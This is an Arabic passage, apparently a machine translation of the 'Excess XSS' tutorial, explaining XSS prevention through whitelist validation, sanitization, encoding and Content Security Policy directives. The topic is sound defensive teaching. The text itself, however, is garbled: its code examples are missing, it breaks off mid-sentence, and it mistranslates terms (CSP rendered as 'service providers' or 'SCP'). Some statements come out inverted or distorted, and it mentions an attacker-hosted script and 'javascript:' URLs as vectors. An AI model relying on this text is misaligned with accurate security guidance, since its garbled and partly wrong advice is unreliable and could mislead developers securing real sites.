التحقق من الصحة هو عملية تصفية مدخلات المستخدم بحيث تتم إزالة جميع الأجزاء الضارة منه، دون الحاجة إلى إزالة جميع التعليمات البرمجية الموجودة فيه. أحد أكثر أنواع التحقق من الصحة استخدامًا في تطوير الويب يسمح لك باستخدام بعض عناصر HTML (على سبيل المثال، و ) أثناء تعطيل عناصر أخرى (على سبيل المثال، ).

هناك نوعان من الضوابط المميزة الرئيسية، والتي تختلف في تطبيقاتها:

استراتيجية التصنيف يمكن تصنيف مدخلات المستخدم باستخدام القوائم السوداء أو القوائم البيضاء.

نتيجة التحقق من الصحة، يمكن رفض إدخالات المستخدم التي تم تحديدها على أنها ضارة أو تنظيفها.

استراتيجية التصنيف القائمة السوداء غريزيًا، يبدو من المناسب إجراء الفحص عن طريق تحديد نمط محظور لا ينبغي أن يظهر في مدخلات المستخدم. إذا كان هناك خط يطابق هذا النمط، فسيتم وضع علامة عليه على أنه غير صالح. على سبيل المثال، اسمح للمستخدمين بإرسال عناوين URL مخصصة باستخدام أي بروتوكول باستثناء جافا سكريبت: . وتسمى استراتيجية التصنيف هذه.

القائمة السوداء

ومع ذلك، فإن القائمة السوداء لها عيبان رئيسيان:

عادةً ما تكون صعوبة الوصف الدقيق لمجموعة كافة السلاسل الضارة المحتملة مهمة صعبة للغاية. لا يمكن تنفيذ سياسة المثال الموصوفة أعلاه بنجاح بمجرد البحث عن السلسلة الفرعية "javascript" لأنها ستفقد سلاسل مثل "Javascript:" (حيث يكون الحرف الأول كبيرًا) و"javascript:" (حيث يتم ترميز الحرف الأول كرقم رقمي) مرجع الحرف).

الإهمال: حتى لو تم تطوير قائمة سوداء مثالية، فسيكون من غير المجدي استخدام ميزة جديدة تمت إضافتها إلى المتصفح للهجوم. على سبيل المثال، إذا تم تطوير قائمة سوداء للتحقق من صحة HTML قبل تقديم سمة onmousewheel في HTML5، فلن تتمكن من منع المهاجم من استخدام هذه السمة لتنفيذ هجوم XSS. وهذا العيب مهم بشكل خاص في تطوير الويب، والذي يتكون من العديد من التقنيات المختلفة التي يتم تحديثها باستمرار.

وبسبب أوجه القصور هذه، لا يُنصح بشدة بإدراج القائمة السوداء كاستراتيجية تصنيف. تعد القائمة البيضاء عمومًا طريقة أكثر أمانًا، وسنشرحها لاحقًا.القائمة البيضاء القائمة البيضاءهي في الأساس عكس القائمة السوداء: فبدلاً من تحديد نمط محظور، يحدد نهج القائمة البيضاء النمط المسموح به ويضع علامة على الإدخال على أنه غير صالح إذا كان

وعلى النقيض من القوائم السوداء، فإن أحد أمثلة القوائم البيضاء هو السماح للمستخدمين بإرسال عناوين URL مخصصة تحتوي فقط على بروتوكولي http: وhttps:، لا أكثر. سيسمح هذا الأسلوب بوضع علامة على عنوان URL تلقائيًا على أنه غير صالح إذا كان يحتوي على بروتوكول javascript:، حتى لو تم تمثيله كـ "Javascript:" أو "javascript:".

بالمقارنة مع القائمة السوداء، تتمتع القوائم البيضاء بميزتين رئيسيتين:

البساطة عادةً ما يكون الوصف الدقيق لمجموعة السلاسل الحميدة أسهل بكثير من تحديد مجموعة جميع السلاسل الضارة. ينطبق هذا بشكل خاص في المواقف العامة حيث يجب أن يتضمن إدخال المستخدم مجموعة محدودة جدًا الوظيفةالمتاحة في المتصفح. على سبيل المثال، تسمح القائمة البيضاء الموضحة أعلاه بكل بساطة باستخدام عناوين URL فقط مع بروتوكولات HTTP: أو https: المسموح بها، وفي معظم المواقف يكون هذا كافيًا للمستخدمين. المتانة على عكس القائمة السوداء، فإن القائمة البيضاء عمومًا لا تصبح قديمة عندماميزة جديدة

تتم إضافته إلى المتصفح. على سبيل المثال، يسمح التحقق من صحة قائمة HTML البيضاء فقط لسمات عنوان عناصر HTML بالبقاء آمنة، حتى لو تم تصميمها (القائمة البيضاء) قبل تقديم سمة HTML5 onmousewheel.

نتيجة التحقق من الصحة

عندما يتم وضع علامة على إدخال المستخدم على أنه غير صالح (ممنوع)، يمكن اتخاذ أحد الإجراءين:

يتم ببساطة رفض رفض الإدخال، مما يمنع استخدامه في أي مكان آخر على الموقع. تتم إزالة جميع الأجزاء غير الصالحة من بيانات الإدخال ويتم استخدام المدخلات المتبقية على الموقع كالمعتاد.من بين الاثنين، يعتبر الانحراف هو أبسط نهج للتنفيذ. لكن التطهير يعتبر أكثر فائدة لأنه يوفر نطاقًا أوسع من المدخلات للمستخدم. على سبيل المثال، إذا أرسل المستخدم رقمًا

إذا قررت تنفيذ التطهير، فأنت بحاجة إلى التأكد من أن إجراء التطهير نفسه لا يستخدم نهج القائمة السوداء. على سبيل المثال، عنوان URL "Javascript:..."، حتى إذا تم تحديده باستخدام القائمة البيضاء على أنه غير صالح، فسوف يتلقى روتين تجاوز التطهير الذي يزيل ببساطة جميع مثيلات "javascript:". لهذا السبب، يجب على المكتبات والأطر التي تم اختبارها جيدًا استخدام التعقيم كلما أمكن ذلك.

ما هي الأساليب التي ينبغي استخدامها للوقاية؟

يجب أن يكون التشفير هو خط دفاعك الأول ضد هجمات XSS، والغرض منه هو معالجة البيانات بطريقة لا يستطيع المتصفح تفسير إدخال المستخدم على أنها تعليمات برمجية. في بعض الحالات، يجب استكمال الترميز بالتحقق من الصحة. يجب تطبيق التشفير والتحقق من الصحة على حركة المرور الصادرة لأنه عندها فقط يمكنك معرفة السياق الذي سيتم تطبيق إدخال المستخدم فيه وما هو التشفير والتحقق الذي يجب تطبيقه.

كخط دفاع ثانٍ، يجب عليك تطبيق تنقية البيانات الواردة أو رفض إدخالات المستخدم غير الصالحة بشكل واضح، مثل الروابط، باستخدام بروتوكول جافا سكريبت. لا يمكن أن يوفر هذا في حد ذاته أمانًا كاملاً، ولكنه يعد إجراء احترازيًا مفيدًا في حالة فشل أي نقطة في حماية التشفير والتحقق من الصحة بسبب التنفيذ غير الصحيح.

إذا تم استخدام خطي الدفاع هذين باستمرار، فسيتم حماية موقعك من هجمات XSS. ومع ذلك، نظرًا لتعقيد إنشاء موقع ويب وصيانته، قد يكون من الصعب توفير الأمان الكامل باستخدام المعالجة الآمنة لإدخال المستخدم فقط. كخط دفاع ثالث، يجب عليك استخدام سياسات أمان المحتوى ( إنجليزي سياسة أمان المحتوى)، ثم CSP، الذي سنصفه أدناه.

سياسات أمان المحتوى (CSP)

لا يعد استخدام المعالجة الآمنة لإدخالات المستخدم فقط للحماية من هجمات XSS كافيًا، لأنه حتى خطأ أمني واحد يمكن أن يعرض موقع الويب الخاص بك للخطر. يمكن أن يؤدي اعتماد سياسات أمان المحتوى (CSP) من معيار الويب الجديد إلى تقليل هذه المخاطر.

يتم استخدام مزودي الخدمة (CSP) لتقييد استخدام المتصفح لصفحة الويب بحيث يمكنه فقط استخدام الموارد التي تم تنزيلها من مصادر موثوقة. أ مواردهي نصوص برمجية أو أوراق أنماط أو صور أو أي نوع آخر من الملفات التي تتم الإشارة إليها في الصفحة. وهذا يعني أنه حتى إذا تمكن أحد المهاجمين من إدخال محتوى ضار إلى موقعك، فسيكون بمقدور مزود الخدمة (CSP) منع تنفيذه.

يمكن استخدام CSP لفرض القواعد التالية:

حظر المصادر غير الموثوقة لا يمكن تنزيل الموارد الخارجية إلا من مجموعة من المصادر الموثوقة المحددة بوضوح.

من خلال عدم السماح بالموارد المضمنة، لن يتم أخذ JavaScript وCSS المضمنة في الاعتبار.

يؤدي تعطيل التقييم إلى منع استخدام وظيفة التقييم في JavaScript.

التعليق الأخير:

CSP في العمل في المثال التالي، تمكن أحد المهاجمين من إدخال تعليمات برمجية ضارة في صفحة ويب:باستخدام سياسة CSP محددة بشكل صحيح، لا يمكن للمتصفح تنزيل وتنفيذ برنامج خبيث-script.js لأنه لم يتم تحديد http://attacker/ كمصدر موثوق به. على الرغم من فشل الموقع في معالجة إدخالات المستخدم بشكل موثوق

في هذه الحالة

منعت سياسة CSP حدوث أي ثغرة أمنية أو ضرر.

حتى لو قام المهاجم بإدخال تعليمات برمجية داخل التعليمات البرمجية للبرنامج النصي بدلاً من رابط إلى ملف خارجي، فإن سياسة CSP التي تم تكوينها بشكل صحيح ستمنع أيضًا الإدخال في تعليمات JavaScript البرمجية، مما يمنع الثغرات الأمنية ويسبب أي ضرر.

كيفية تمكين CSP؟

بشكل افتراضي، لا تستخدم المتصفحات CSP. لتمكين SCP على موقع الويب الخاص بك، يجب أن تحتوي الصفحات على رأس HTTP إضافي: Content‑Security‑Policy. ستفرض أي صفحة تحتوي على هذا الرأس سياسات الأمان عند تحميلها بواسطة المتصفح، بشرط أن يدعم المتصفح CSP.

نظرًا لأنه يتم إرسال سياسة الأمان مع كل استجابة HTTP، فمن الممكن للخادم تعيين السياسة بشكل فردي لكل صفحة. يمكن تطبيق نفس السياسة على موقع الويب بأكمله عن طريق إدراج نفس رأس CSP في كل استجابة.

تحتوي القيمة الموجودة في رأس Content‑Security‑Policy على سلسلة تحدد سياسة أمان واحدة أو أكثر سيتم تشغيلها على موقعك. سيتم وصف بناء جملة هذا السطر أدناه.

تستخدم أمثلة العناوين في هذا القسم فواصل الأسطر والمسافات البادئة لتسهيل الرجوع إليها؛ يجب ألا تظهر في العنوان الفعلي.

بناء جملة CSP
بناء جملة رأس CSP كما يلي: سياسة أمان المحتوى:, سياسة أمان المحتوى:, ...;
بناء جملة رأس CSP كما يلي: ...;
...

التوجيه

• تعبير المصدر
• تعبيرات المصدر هي نماذج تصف خادمًا واحدًا أو أكثر يمكن تحميل الموارد منه.

بالنسبة لكل توجيه، تحدد البيانات الموجودة في التعبير المصدر المصادر التي يمكن استخدامها لتحميل الموارد من النوع المقابل.

التوجيهات

يمكن استخدام التوجيهات التالية في رأس CSP:

• ربط src
• الخط src
• fram-src
• img-src
• وسائل الإعلام-src
• كائن-src
• script-src
• style-src

بالإضافة إلى ذلك، يمكن استخدام التوجيه default-src الخاص لتوفير قيمة افتراضية لجميع التوجيهات التي لم يتم تضمينها في الرأس.

تعبير المصدر

بناء الجملة لإنشاء تعبير المصدر كما يلي:

البروتوكول: اسم المضيف: رقم المنفذ

يمكن أن يبدأ اسم المضيف بـ *، مما يعني أنه سيتم حل أي نطاق فرعي لاسم المضيف المقدم. وبالمثل، يمكن تمثيل رقم المنفذ كـ *، مما يعني أنه سيتم السماح بجميع المنافذ. بالإضافة إلى ذلك، قد يتم حذف البروتوكول ورقم المنفذ. إذا لم يتم تحديد أي بروتوكول، فستتطلب السياسة تحميل جميع الموارد باستخدام HTTPS.

بالإضافة إلى بناء الجملة أعلاه، يمكن أن يكون التعبير المصدر واحدًا من أربعة الكلمات الرئيسيةمع معنى خاص (وشملت الاقتباسات):

"لا شيء" يعطل الموارد.

تسمح كلمة "self" بالموارد من المضيف الذي توجد عليه صفحة الويب.

يحل "unsafe‑inline" الموارد الموجودة في الصفحة كعناصر مضمنة وعناصر وجافا سكريبت: عناوين URL.

بناء جملة CSP
"التقييم غير الآمن" يمكّن وظيفة جافا سكريبت من التقييم.
يرجى ملاحظة أنه عند استخدام CSP، يتم تعطيل الموارد المضمنة والتقييم تلقائيًا بشكل افتراضي. إن استخدام "unsafe-inline" و"unsafe-eval" هو الطريقة الوحيدة لاستخدامهما.
سياسة المثال
script‑src "الذاتي" scripts.example.com;

الوسائط-src "لا شيء";

• img-src *;
• default‑src "self" http://*.example.com
• باستخدام سياسة المثال هذه، ستحتوي صفحة الويب على القيود التالية:
• لا يمكن تنزيل البرامج النصية إلا من المضيف الذي توجد عليه صفحة الويب ومن هذا العنوان: scripts.example.com.

يمنع تنزيل ملفات الصوت والفيديو.

يمكن تنزيل ملفات الصور من أي عنوان. متصفحات مختلفة. على سبيل المثال، قد يختلف استخدام رأس HTTP بين المتصفحات. قبل استخدام CSP، راجع وثائق المتصفحات التي تخطط لدعمها.

ملخص ملخص: نظرة عامة على XSS

• هجوم XSS هو هجوم حقن التعليمات البرمجية الذي أصبح ممكنًا بسبب المعالجة غير الآمنة لإدخال المستخدم.
• يسمح هجوم XSS الناجح للمهاجم بتنفيذ JavaScript ضار في متصفح الضحية.
• يؤدي هجوم XSS الناجح إلى تعريض أمان موقع الويب ومستخدميه للخطر.

ملخص: هجمات XSS

• هناك ثلاثة أنواع رئيسية من هجمات XSS:
  • XSS المخزن، حيث تنشأ المدخلات الضارة من قاعدة بيانات موقع الويب.
  • XSS المنعكس، حيث تنشأ المدخلات الضارة من طلب الضحية.
  • هجمات XSS في DOM، حيث يتم استغلال الثغرة الأمنية في التعليمات البرمجية من جانب العميل، وليس من جانب الخادم.
• يتم تنفيذ كل هذه الهجمات بشكل مختلف، ولكن لها نفس التأثير إذا نجحت.

ملخص: منع XSS

• الطريقة الأكثر أهمية لمنع هجمات XSS هي إجراء معالجة آمنة للمدخلات.
  • يجب أن يتم التشفير عندما يتم تمكين إدخال المستخدم على الصفحة.
  • في بعض الحالات، يجب استبدال الترميز أو استكماله بالتحقق من الصحة.
  • يجب أن تأخذ المعالجة الآمنة للإدخال في الاعتبار سياق الصفحة الذي يتم إدراج إدخال المستخدم فيه.
  • من أجل منع جميع أنواع هجمات XSS، يجب أن تتم معالجة الإدخال الآمن في كل من التعليمات البرمجية من جانب العميل والخادم.
• توفر سياسات أمان المحتوى (CSP) طبقة إضافية من الحماية في حالة احتواء معالجة الإدخال الآمن على خطأ.

مصطلحات الملحق

تجدر الإشارة إلى أن هناك تقاطعًا في المصطلحات المستخدمة لوصف XSS: يمكن تخزين أو عكس هجوم XSS في DOM؛ هذه ليست أنواعًا منفصلة من الهجمات. لا توجد مصطلحات مقبولة بشكل عام تغطي جميع أنواع XSS دون أي لبس. وبغض النظر عن المصطلحات المستخدمة لوصف XSS، فإن الشيء الأكثر أهمية هو تحديد نوع الهجوم، وهذا ممكن إذا كنت تعرف من أين تأتي المدخلات الضارة وأين تقع الثغرة الأمنية.

حقوق الاستخدام والروابط

الكود المصدري ل فائض XSSمتاح على جيثب.

فائض XSSتم إنشاؤه في عام 2013 كجزء من دورة الأمن القائم على اللغة في جامعة تشالمرز للتكنولوجيا.

تمت الترجمة إلى اللغة الروسية بواسطة A888R، النص الأصلي بتنسيق إنجليزي: extra-xss.com، أرسل التعليقات والاقتراحات والأخطاء في الترجمة هنا.